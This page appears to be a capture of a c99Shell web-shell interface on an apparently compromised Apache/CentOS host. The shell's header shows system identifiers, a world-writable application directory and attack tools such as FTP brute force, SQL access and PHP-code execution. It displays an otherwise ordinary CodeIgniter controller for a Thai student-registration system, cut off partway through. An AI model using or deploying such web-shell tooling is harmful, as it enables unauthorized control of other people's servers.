!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/controllers/eregis-12022565/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     preregis.php (38.79 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("rg_controller.php");
class 
preregis extends Rg_controller {
//    function __construct() {
//        parent::__construct();
//    }

    // ##### start คัดลอกรายวิชาที่เปิดสอน
    
function pr_beforeCopyCo() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');

        
$this->contents['acY'] = $this->session->userdata('acY');
        
$this->contents['tmId'] = $this->session->userdata('tmId');

        
$con_rs_cur = array('curStatus' => 'Y');
        
$ord_rs_cur = array('curName' => '');

        
$this->contents['rs_cur'] = $this->cur->get_options($con_rs_cur,$ord_rs_cur);
        
$this->contents['rs_sy'] = $this->sy->get_options();
        
$this->contents['rs_tm'] = $this->tm->get_options();

        
$this->output($this->config->item("rg_folder")."v_beforeCopyCourseOpen");
    }

    function 
pr_copyCo() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('curId'' ''trim|required|xss_clean');
        
$this->form_validation->set_rules('syId'' ''trim|required|xss_clean');
        
$this->form_validation->set_rules('tmId'' ''trim|required|xss_clean');
        
$this->form_validation->set_rules('acY'' ''trim|callback_checkAcY|xss_clean');

        if(
$this->form_validation->run() == true) {
            
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_studyplan','sp');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_course','crs');

            
$acY $this->input->post('acY');
            
$curId $this->input->post('curId');
            
$tmId $this->input->post('tmId');
            
$syId $this->input->post('syId');

            
$this->tm->tmId $tmId;
            
$this->cur->curId $curId;
            
$this->sy->syId $syId;

            
$this->contents['qu_tm'] = $this->tm->get_by_key(TRUE);
            
$this->contents['qu_cur'] = $this->cur->get_by_key(TRUE);
            
$this->contents['qu_sy'] = $this->sy->get_by_key(TRUE);
            
$this->contents['acY'] = $acY;

            
$i 0;
            
$arr = array();
            
$flagExit 0;
            
$sumCreditTotal 0;
            
$con_rs_sp = array('spCurId'    => $curId,
                               
'spSyId'        => $syId,
                               
'spTmId'        => $tmId);
            
$rs_sp $this->sp->qrySp($con_rs_sp);
            if(
$rs_sp->num_rows()) {
                foreach(
$rs_sp->result() as $row_sp) {
                    
$con_rs_co = array('coCurId'    => 'NULL',
                                       
'coAcY'        => $acY,
                                       
'coSyId'        => $syId,
                                       
'coTmId'        => $tmId,
                                       
'coCrsId'    => $row_sp->spCrsId);

                    
// หารายวิชาที่เปิดสอน ของเรียนรวมหลายหลักสูตร
                    
$rs_co $this->co->qryCo($con_rs_co);
                    if(
$rs_co->num_rows()) {
                        
$flagExit 1;
                    } else {
                        
$con_qu_crs = array('crsId'    => $row_sp->spCrsId);
                        
$qu_crs $this->crs->qryCrs($con_qu_crs);

                        
$arr[$i]['crs'] = $qu_crs->num_rows() ? $qu_crs->row() : NULL;
                        
$sumCreditTotal += $qu_crs->row()->crsCreditTotal;
                    }

                    
$i++;
                }
            }

            
// คัดลอกรายวิชาที่เปิดสอนแล้ว
            
$con_rs_co = array('coCurId'    => $curId,
                               
'coSyId'        => $syId,
                               
'coTmId'        => $tmId,
                               
'coAcY'        => $acY);
            
$rs_co $this->co->qryCo($con_rs_co);
            if(
$rs_co->num_rows()) {
                
$flagExit 1;
            }

            
$this->contents['flagExit'] = $flagExit;
            
$this->contents['sumCreditTotal'] = $sumCreditTotal;
            
$this->contents['arr'] = $arr;
            
            
$this->output($this->config->item("rg_folder")."v_copyCourseOpen");
        } else {
            
$this->contents['add'] = 1;
            
$this->pr_beforeCopyCo();
        }
    }

    function 
pr_processAddCo() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyplan','sp');

        
$acY $this->input->post('acY');
        
$curId $this->input->post('curId');
        
$syId $this->input->post('syId');
        
$tmId $this->input->post('tmId');

        
$con_rs_sp = array('spCurId'    => $curId,
                           
'spSyId'        => $syId,
                           
'spTmId'        => $tmId);
        
$rs_sp $this->sp->qrySp($con_rs_sp);

        
$this->db->trans_begin();
        if(
$rs_sp->num_rows()) {
            foreach(
$rs_sp->result() as $row_sp) {
                
$this->co->coAcY $acY;
                
$this->co->coSectionClass 1;
                
$this->co->coSection 1;
                
$this->co->coNumSeatOpen 50;
                
$this->co->coNumSeatReg 0;
                
$this->co->coSendGradeStatus 'N';
                
$this->co->coDeclareStatus 'N';
                
$this->co->coCurId $curId;
                
$this->co->coSyId $syId;
                
$this->co->coTmId $tmId;
                
$this->co->coCrsId $row_sp->spCrsId;
                
$this->co->coRspId NULL;
                
$this->co->coCdId1 $row_sp->spCdId1;
                
$this->co->coCdId2 $row_sp->spCdId2;
                
$this->co->coPrsId NULL;
                
$this->co->insert();
            }
        }

        
        if(
$this->db->trans_status() === false) {
            
$this->db->trans_rollback();
        } else {
            
$this->db->trans_commit();
        }
            
        
redirect($this->config->item("rg_folder")."preregis/pr_beforeCopyCo");
    }
    
// ##### end คัดลอกรายวิชาที่เปิดสอน

    // ##### start กำหนดรายวิชาที่เปิดสอน
    
function co_search() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');

        
$this->contents['acY'] = $this->session->userdata('acY');
        
$this->contents['tmId'] = $this->session->userdata('tmId');

        
$con_rs_cur    = array('curStatus'    => 'Y');
        
$ord_rs_cur    = array('curName'    => 'ASC');
        
$this->contents['rs_cur'] = $this->cur->get_options($con_rs_cur$ord_rs_cur'''---เรียนรวมหลายหลักสูตร---');

        
$this->contents['rs_sy'] = $this->sy->get_options();
        
$this->contents['rs_tm'] = $this->tm->get_options('','','','n');

        
$this->output($this->config->item("rg_folder")."v_searchCourseOpen");
    }

    function 
co_input() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('curId'' ''trim|xss_clean');
        
$this->form_validation->set_rules('syId'' ''trim|required|xss_clean');
        
$this->form_validation->set_rules('tmId'' ''trim|required|xss_clean');
        
$this->form_validation->set_rules('acY'' ''callback_checkAcY');

        if (
$this->form_validation->run() == FALSE) {
            
$this->co_search();
        } else {
            
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopenstudent','costd');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_student','std');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_timetable','tt');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_person','prs');

            
$curId $this->input->post('curId');
            
$syId $this->input->post('syId');
            
$tmId $this->input->post('tmId');
            
$acY $this->input->post('acY');
            
$coId $this->input->post('coId');

            
$this->cur->curId $curId;
            
$qu_cur $this->cur->get_by_key();
            if (
$qu_cur->num_rows()) {
                
$this->contents['qu_cur'] = $qu_cur;
            }

            
$this->sy->syId $syId;
            
$this->contents['qu_sy'] = $this->sy->get_by_key();

            
$this->tm->tmId $tmId;
            
$this->contents['qu_tm'] = $this->tm->get_by_key();

            
$this->contents['acY'] = $acY;

            
$i 0;
            
$arr = array();
            
$con_rs_co = array('coCurId'    => $curId,
                
'coSyId'    => $syId,
                
'coTmId'    => $tmId,
                
'coAcY'    => $acY
            
);
            if (!
$curId) {    // วิชาที่เปิดสอนนอกหลักสูตร
                
$con_rs_co = array('coCurId'    => 'NULL',
                    
'coSyId'    => $syId,
                    
'coTmId'    => $tmId,
                    
'coAcY'    => $acY
                
);
            }
            
$rs_co $this->co->qryCoJoinCrs($con_rs_co);
            foreach (
$rs_co->result() as $row_co) {
                
$con_qu_co = array('coId'    => $row_co->coId);
                
$arr[$i]['qu_co'] = $this->co->qryCoJoinCrs($con_qu_co);

                
$con_qu_co = array('coCurId'    => $row_co->coCurId,
                    
'coCrsId'    => $row_co->coCrsId,
                    
'coSyId'    => $row_co->coSyId,
                    
'coTmId'    => $row_co->coTmId,
                    
'coAcY'    => $row_co->coAcY
                
);
                if (
is_null($row_co->coCurId)) {
                    
$con_qu_co = array('coCurId'    => 'NULL',
                        
'coCrsId'    => $row_co->coCrsId,
                        
'coSyId'    => $row_co->coSyId,
                        
'coTmId'    => $row_co->coTmId,
                        
'coAcY'    => $row_co->coAcY
                    
);
                }
                
$arr[$i]['maxSec'] = $this->co->getMaxSection($con_qu_co);

                
$con_qu_cos = array('cosCoId'    => $row_co->coId);
                
$arr[$i]['cntStd'] = $this->costd->getCountStdId($con_qu_cos);

                
$con_qu_co = array('coCurId'    => $row_co->coCurId,
                    
'coCrsId'    => $row_co->coCrsId,
                    
'coSyId'    => $row_co->coSyId,
                    
'coTmId'    => $row_co->coTmId,
                    
'coAcY'    => $row_co->coAcY
                
);
                if (
is_null($row_co->coCurId)) {
                    
$con_qu_co = array('coCurId'    => 'NULL',
                        
'coCrsId'    => $row_co->coCrsId,
                        
'coSyId'    => $row_co->coSyId,
                        
'coTmId'    => $row_co->coTmId,
                        
'coAcY'    => $row_co->coAcY
                    
);
                }
                
$arr[$i]['sumNumSeatOpen'] = $this->co->getSumNumSeatOpen($con_qu_co);

                
$i++;
            }
            
$this->contents['rs'] = $arr;

            
$con_qu_std = array('stdCurId'     => $curId,
                
'stdSyId'    => $syId,
                
'stdSstId'    => 1,
                
'stdGenStatus'    => 'Y'
            
);
            
$this->contents['numStd'] = $this->std->getCountStdId($con_qu_std);

            
$con_rs_co = array('coCurId'    => 'NULL',
                
'coAcY'    => $acY,
                
'coSyId'    => $syId,
                
'coTmId'    => $tmId,
                
'cofCurId'    => $curId
            
);
            
$this->contents['rs_co'] = $this->co->qryCoJoinCofCrs($con_rs_co);

            
// อาจารย์ผู้รับผิดชอบส่งเกรด
            
$con_qu_co = array('coId'    => $coId);
            
$qu_co $this->co->qryCoJoinCrs($con_qu_co);
            if (
$qu_co->num_rows()) {
                
$this->contents['qu_co'] = $qu_co;
                
$row_co $qu_co->row();

                
$this->contents['rs_tt'] = $this->tt->qryTeacher2($coId);

                
$con_qu_tt = array('ttPrsId'    => $row_co->coPrsId,
                    
'ttCoId'    => $coId
                
);
                
$this->contents['sumHr'] = $this->tt->getSumHr($con_qu_tt);

                
$con_rs_prs = array('prsPsId'    => 1);
                
$ord_rs_prs = array('fName'    => 'ASC',
                    
'lName'    => 'ASC'
                
);
                
$this->contents['rs_prs'] = $this->prs->get_options($con_rs_prs$ord_rs_prs);
            }

            
$this->output($this->config->item("rg_folder")."v_addCourseOpen");
        }
    }

    function 
co_insert() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');

        
$curId $this->input->post('curId');
        
$acY $this->input->post('acY');
        
$syId $this->input->post('syId');
        
$tmId $this->input->post('tmId');
        
$crsId $this->input->post('crsId');
        
$cdId1 $this->input->post('cdId1');
        
$cdId2 $this->input->post('cdId2');
        
$coNumSeatOpen $this->input->post('coNumSeatOpen');
        
$coSectionClass count($coNumSeatOpen);

        for (
$i 0$i $coSectionClass$i++) {
            
$con_rs_co = array('coCurId'    => (($curId == 'NULL') ? NULL $curId),
                
'coAcY'    => $acY,
                
'coSyId'    => $syId,
                
'coTmId'    => $tmId,
                
'coCrsId'    => $crsId,
                
'coSection'    => $i 1
            
);
            
$rs_co $this->co->qryCo($con_rs_co);
            if (
$rs_co->num_rows() == 0) {
                
$this->co->coCurId = ($curId == 'NULL') ? NULL $curId;
                
$this->co->coAcY $acY;
                
$this->co->coSyId $syId;
                
$this->co->coTmId $tmId;
                
$this->co->coCrsId $crsId;
                
$this->co->coSectionClass $coSectionClass;
                
$this->co->coSection $i 1;
                
$this->co->coNumSeatOpen $coNumSeatOpen[$i];
                
$this->co->coNumSeatReg 0;
                
$this->co->coSendGradeStatus 'N';
                
$this->co->coRspId NULL;
                
$this->co->coCdId1 $cdId1;
                
$this->co->coCdId2 $cdId2;
                
$this->co->coDeclareStatus 'N';
                
$this->co->coPrsId NULL;
                
$this->co->insert();
            }
        }

        
$this->co_input();
    }

    function 
co_update() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopenstudent','costd');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');

        
$coId $this->input->post('coId');
        
$coNumSeatOpen $this->input->post('coNumSeatOpen');

        
$con_qu_cos = array('cosCoId'    => $coId);
        
$res $this->costd->getCountStdId($con_qu_cos);

        
$this->co->coId $coId;
        
$this->co->get_by_key(TRUE);
        
$this->co->coNumSeatOpen = ($res $coNumSeatOpen) ? $res $coNumSeatOpen;
        
$this->co->update();

        
$this->co_input();
    }

    function 
co_updateRCIS() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');

        
$coId $this->input->post('coId');
        
$responsibility $this->input->post('responsibility');
        
$prsIdRC $this->input->post('prsIdRC');

        
$this->co->coId $coId;
        
$this->co->get_by_key(TRUE);
        
$this->co->coPrsId = ($responsibility == 'RC') ? $prsIdRC $responsibility;
        
$this->co->update();

        
$this->co_input();
    }

    function 
co_delete() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');

        
$coId $this->input->post('coId');

        
$this->co->coId $coId;
        
$qu_co $this->co->get_by_key();
        if (
$qu_co->num_rows()) {
            
$this->db->trans_begin();

            
$row_co $qu_co->row();
            
$this->co->delete();

            
// Find sectionClass
            
$con_rs_co = array('coCurId'    => $row_co->coCurId,
                
'coAcY'        => $row_co->coAcY,
                
'coSyId'    => $row_co->coSyId,
                
'coTmId'    => $row_co->coTmId,
                
'coCrsId'    => $row_co->coCrsId
            
);
            if (
is_null($row_co->coCurId)) {
                
$con_rs_co = array('coCurId'    => 'NULL',
                    
'coAcY'        => $row_co->coAcY,
                    
'coSyId'    => $row_co->coSyId,
                    
'coTmId'    => $row_co->coTmId,
                    
'coCrsId'    => $row_co->coCrsId
                
);
            }
            
$rs_co $this->co->qryCo($con_rs_co);
            
$numRecord $rs_co->num_rows();

            
// Update sectionClass
            
foreach ($rs_co->result() as $row_co) {
                
$this->co->coId $row_co->coId;
                
$this->co->get_by_key(TRUE);

                
$this->co->coSectionClass $numRecord;
                
$this->co->update();
            }

            if (
$this->db->trans_status() === false) {
                
$this->db->trans_rollback();
            } else {
                
$this->db->trans_commit();
            }
        }

        
$this->co_input();
    }

    function 
cof_show() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_termconfig','tmc');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopenfor','cof');

        
$acY $this->input->post('acY') ? $this->input->post('acY') : $this->session->userdata('acY');
        
$tmId $this->input->post('tmId') ? $this->input->post('tmId') : $this->session->userdata('tmId');

        
$this->contents['acY'] = $acY;
        
$this->contents['tmId'] = $tmId;

        
$this->contents['rs_tmc'] = $this->tmc->get_optionsGroupAcY();

        
$ord_rs_tm = array('tmCode'    => 'ASC');
        
$this->contents['rs_tm'] = $this->tm->get_options(""$ord_rs_tm);

        
$i 0;
        
$arr = array();
        
$con_rs_co = array('coCurId'    => 'NULL',
            
'coAcY'    => $acY,
            
'coTmId'    => $tmId
        
);
        
$rs_co $this->co->qryCo($con_rs_co);
        foreach (
$rs_co->result() as $row_co) {
            
$con_qu_co = array('coId'    => $row_co->coId);
            
$arr[$i]['qu_co'] = $this->co->qryCoJoinCrs($con_qu_co);

            
$con_rs_cof = array('cofCoId'    => $row_co->coId);
            
$arr[$i]['rs_cof'] = $this->cof->qryCof($con_rs_cof);

            
$i++;
        }
        
$this->contents['rs'] = $arr;

        
$this->output($this->config->item("rg_folder")."v_showCourseOpenFor");
    }

    function 
cof_input() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_timetable','tt');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_programcourses','pcr');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopenfor','cof');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopenstudent','costd');

        
$coId $this->input->post('coId');

        
$this->contents['coId'] = $coId;

        
$con_qu_co = array('coId'    => $coId);
        
$qu_co $this->co->qryCoJoinCrs($con_qu_co);
        
$this->contents['qu_co'] = $qu_co;
        
$row_co $qu_co->row();

        
$qu_tt $this->tt->qryTeacher($coId);
        
$this->contents['prsNames'] = $qu_tt->row()->prsName;

        
$i 0;
        
$arr = array();
        
$con_rs_pcr = array('pcrCsCdId1'    => $row_co->coCdId1,
            
'pcrCsCdId2'    => $row_co->coCdId2,
            
'pcrCrsId'    => $row_co->coCrsId,
            
'curStatus'    => 'Y'
        
);
        
$rs_pcr $this->pcr->qryPcrJoinCur($con_rs_pcr);
        foreach (
$rs_pcr->result() as $row_pcr) {
            
$this->cur->curId $row_pcr->pcrCsCurId;
            
$arr[$i]['qu_cur'] = $this->cur->get_by_key();

            
$this->cof->cofCoId $coId;
            
$this->cof->cofCurId $row_pcr->pcrCsCurId;
            
$qu_cof $this->cof->get_by_key();
            
$arr[$i]['qu_cof'] = $qu_cof;

            
$con_qu_cos = array('cosCoId'    => $coId,
                
'stdCurId'    => $row_pcr->pcrCsCurId
            
);
            
$arr[$i]['cntStd'] = $this->costd->getCountStdIdJoinStd($con_qu_cos);

            
$i++;
        }
        
$this->contents['rs'] = $arr;

        
$this->output($this->config->item("rg_folder")."v_addCourseOpenFor");
    }

    function 
cof_insert() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopenstudent','costd');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopenfor','cof');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_realstudyplan','rsp');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');

        
$cnt $this->input->post('cnt');
        
$order $this->input->post('order');
        
$coId $this->input->post('coId');
        
$curId $this->input->post('curId');
        
$cofSeats $this->input->post('cofSeats');

        for (
$i 0$i $cnt$i++) {
            
$con_qu_cos = array('cosCoId'    => $coId,
                
'stdCurId'    => $curId[$i]
            );
            
$res $this->costd->getCountStdIdJoinStd($con_qu_cos);

            if (isset(
$order[$i]) && ($order[$i] == 'Y') && $cofSeats[$i]) {
                
$this->cof->cofCoId $coId;
                
$this->cof->cofCurId $curId[$i];
                
$qu_cof $this->cof->get_by_key();
                if (
$qu_cof->num_rows()) {
                    
$this->cof->get_by_key(TRUE);

                    
$this->cof->cofSeats = ($res $cofSeats[$i]) ? $res $cofSeats[$i];
                    
$this->cof->update();
                } else {
                    
$this->cof->cofNumEnroll 0;
                    
$this->cof->cofSeats = ($res $cofSeats[$i]) ? $res $cofSeats[$i];
                    
$this->cof->insert();
                }
            } else {
                
$con_rs_rsp = array('rspCoId'    => $coId,
                    
'rspCurId'    => $curId[$i]
                );
                
$rs_rsp $this->rsp->qryRsp($con_rs_rsp);

                
$this->cof->cofCoId $coId;
                
$this->cof->cofCurId $curId[$i];
                
$qu_cof $this->cof->get_by_key();

                if (!
$res && !$rs_rsp->num_rows() && $qu_cof->num_rows()) {
                    
$this->cof->delete();
                }
            }
        }

        
$con_qu_cof = array('cofCoId'    => $coId);

        
$this->co->coId $coId;
        
$this->co->get_by_key(TRUE);
        
$this->co->coNumSeatOpen $this->cof->getSumSeats($con_qu_cof);
        
$this->co->update();

        
$this->cof_input();
    }

    
// ##### start กำหนดชั่วโมงฝึกปฏิบัติ
    
function showPracticeHour() {

        
$this->output($this->config->item("rg_folder")."v_showPracticeHours");
    }
    function 
addPracticeHour() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('curName',' ','trim|xss_clean');
        
$this->form_validation->set_rules('curId',' ','trim|required|xss_clean');
        
$this->form_validation->set_rules('stdTmIdAdmit',' ','trim|xss_clean');
        
$this->form_validation->set_rules('adY',' ','trim|required|xss_clean');

        if(
$this->form_validation->run() == true) {
            
$this->ph_input();
        } else {
            
$this->showPracticeHour();
        }
    }
    function 
ph_input() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_clinicalpractice','cp');

        
$curId $this->input->post('curId');
        
$adY $this->input->post('adY');

        
$this->contents['adY'] = $adY;

        
$this->cur->curId $curId;
        
$this->contents['qu_cur'] = $this->cur->get_by_key();

        
$cond_cp = array('phCurId'    => $curId'phAdY' => $adY);
        
$ord_rs_cp = array('cpSeq'    => 'ASC');
        
$this->contents['rs_cp'] = $this->cp->qryCpJoinPh($cond_cp$ord_rs_cp);
        
$this->output($this->config->item("rg_folder")."v_addPracticeHours");
    }
    function 
ph_insert_update() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_practicehours','ph');

        
$cnt $this->input->post('cnt');
        
$curId $this->input->post('curId');
        
$adY $this->input->post('adY');

        for(
$i=0$i<$cnt$i++) {
            if(
$this->input->post('chk'.$i)=='Y') {
                
$this->ph->phCurId $curId;
                
$this->ph->phCpId $this->input->post('cpId'.$i);
                
$this->ph->phAdY $adY;
                
$qu_ph $this->ph->get_by_key();

                if(
$qu_ph->num_rows()) {
                    
$this->ph->get_by_key(TRUE);
                    
$this->ph->phLabHr $this->input->post('phLabHr'.$i);
                    
$this->ph->update();
                } else {
                    
$this->ph->phCurId $curId;
                    
$this->ph->phCpId $this->input->post('cpId'.$i);
                    
$this->ph->phAdY $adY;
                    
$this->ph->phLabHr $this->input->post('phLabHr'.$i);
                    
$this->ph->insert();
                }
            } else {
                
$this->ph->phCurId $curId;
                
$this->ph->phCpId $this->input->post('cpId'.$i);
                
$this->ph->phAdY $adY;
                
$this->ph->delete();
            }
        }

        
$this->ph_input();
    }
    
// ##### end กำหนดชั่วโมงฝึกปฏิบัติ

    
function es_search() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_examtype','ex');

        
$acY $this->session->userdata('acY');
        
$tmId $this->session->userdata('tmId');

        
$this->contents['acY'] = $acY;
        
$this->contents['tmId'] = $tmId;

        
$con_rs_cur = array('curStatus'    => 'Y');
        
$ord_rs_cur = array('curName'    => 'ASC');
        
$this->contents['rs_cur'] = $this->cur->get_options($con_rs_cur$ord_rs_cur'''เรียนรวมหลายหลักสูตร');

        
$ord_rs_sy = array('syCode'    => 'ASC');
        
$this->contents['rs_sy'] = $this->sy->get_options(''$ord_rs_sy);

        
$ord_rs_tm = array('tmCode'    => 'ASC');
        
$this->contents['rs_tm'] = $this->tm->get_options(''$ord_rs_tm);

        
$this->contents['rs_ex'] = $this->ex->get_options('','','n');

        
$this->output($this->config->item("rg_folder")."v_searchExamSchedule");
    }

    function 
es_input() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('curId',' ','trim|xss_clean');
        
$this->form_validation->set_rules('syId',' ','trim|required|xss_clean');
        
$this->form_validation->set_rules('acY',' ','trim|required|exact_length[4]|xss_clean');
        
$this->form_validation->set_rules('tmId',' ','trim|required|xss_clean');
        
$this->form_validation->set_rules('exType',' ','trim|required|xss_clean');

        if (
$this->form_validation->run() == false) {
            
$this->es_search();
        } else {
            
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_examtype','ex');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_examschedule','es');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_schedule','sd');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_studytype','st');
            
$this->load->model($this->config->item("ppc_folder").'mo_spc_place','rm');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_period','prd');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_person','prs');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopenfor','cof');

            
$curId $this->input->post('curId') ? $this->input->post('curId') : NULL;
            
$syId $this->input->post('syId');
            
$acY $this->input->post('acY');
            
$tmId $this->input->post('tmId');
            
$coId $this->input->post('coId');
            
$exType $this->input->post('exType');

            
$this->contents['acY'] = $acY;

            if (
$curId) {
                
$this->cur->curId $curId;
                
$this->contents['qu_cur'] = $this->cur->get_by_key();
            }

            
$this->sy->syId $syId;
            
$this->contents['qu_sy'] = $this->sy->get_by_key();

            
$this->tm->tmId $tmId;
            
$this->contents['qu_tm'] = $this->tm->get_by_key();

            
$con_qu_ex = array('exType'    => $exType);
            
$this->contents['qu_ex'] = $this->ex->qryEx($con_qu_ex);

            
$this->contents['coId'] = $coId;

            if (
$coId) {
                
$con_rs_es = array('esCoId'    => $coId,
                    
'esExamType'    => $exType
                
);
                
$rs_es $this->es->qryEs($con_rs_es);
                if (
$rs_es->num_rows()) {
                    
$this->contents['rs_es'] = $rs_es;
                }

                
$con_qu_co = array('coId'    => $coId);
                
$this->contents['qu_co'] = $this->co->qryCoJoinCrs($con_qu_co);

                
$this->sd->sdAcY $acY;
                
$this->sd->sdTmId $tmId;
                
$this->contents['qu_sd'] = $this->sd->get_by_key();

                
$this->contents['rs_st'] = $this->st->get_options();

                
$this->contents['rs_rm'] = $this->rm->get_optionsRm();

                
$this->contents['rs_prd'] = $this->prd->get_options();

                
$con_rs_prs = array('prsPsId'    => 1);
                
$this->contents['rs_prs'] = $this->prs->get_options($con_rs_prs);
            }

            
$i 0;
            
$arr = array();
            
$con_rs_co = array('coCurId'    => $curId,
                
'coSyId'    => $syId,
                
'coTmId'    => $tmId,
                
'coAcY'    => $acY
            
);
            if (
is_null($curId)) {
                
$con_rs_co = array('coCurId'    => 'NULL',
                    
'coSyId'    => $syId,
                    
'coTmId'    => $tmId,
                    
'coAcY'    => $acY
                
);
            }
            
$rs_co $this->co->qryCo($con_rs_co);
            foreach (
$rs_co->result() as $row_co) {
                
$j 0;
                
$prsNames '';
                
$con_rs_es = array('esCoId'    => $row_co->coId,
                    
'esExamType'    => $exType
                
);
                
$rs_es $this->es->qryEs($con_rs_es);
                foreach (
$rs_es->result() as $row_es) {
                    
$con_qu_prs = array('prsId'     => $row_es->esPrsId);
                    
$qu_prs $this->prs->qryPrsJoinPPC($con_qu_prs);

                    
//echo $this->db->last_query();

                    //$arr[$i]['esDate'] = '';
                    
if ($qu_prs->num_rows()) {
                        if (
$j == 0) {
                            
$arr[$i]['esDate'] = $row_es->esDate;

                            
$this->st->stId $row_es->esStId;
                            
$arr[$i]['qu_st'] = $this->st->get_by_key();

                            
$this->rm->plHwId $row_es->esRmId;
                            
$arr[$i]['qu_rm'] = $this->rm->get_by_key();

                            
$this->prd->prdId $row_es->esPrdFrTime;
                            
$arr[$i]['qu_prd1'] = $this->prd->get_by_key();

                            
$this->prd->prdId $row_es->esPrdToTime;
                            
$arr[$i]['qu_prd2'] = $this->prd->get_by_key();

                            
$prsNames $qu_prs->row()->name;
                        } else {
                            
$prsNames .= '<br />'.$qu_prs->row()->name;
                        }
                    }

                    
$j++;
                }
                
$arr[$i]['mtd'] = $j;
                
$arr[$i]['prsNames'] = $prsNames;

                
$pgNames '';
                if (
is_null($row_co->coCurId)) {
                    
$k 0;
                    
$con_rs_cof = array('cofCoId'    => $row_co->coId);
                    
$rs_cof $this->cof->qryCofJoinCur($con_rs_cof);
                    foreach (
$rs_cof->result() as $row_cof) {
                        if (
$k == 0) {
                            
$pgNames $row_cof->curName;
                        } else {
                            
$pgNames .= '<br />&nbsp;'.$row_cof->curName;
                        }

                        
$k++;
                    }
                } else {
                    
$this->cur->curId $row_co->coCurId;
                    
$qu_cur $this->cur->get_by_key();

                    
$pgNames $qu_cur->row()->curName;
                }
                
$arr[$i]['pgNames'] = $pgNames;

                
$con_qu_co = array('coId'    => $row_co->coId);
                
$arr[$i]['qu_co'] = $this->co->qryCoJoinCrs($con_qu_co);

                
$i++;
            }    
// end foreach

            
$con_rs_co = array('coCurId'    => 'NULL',
                
'coAcY'    => $acY,
                
'coSyId'    => $syId,
                
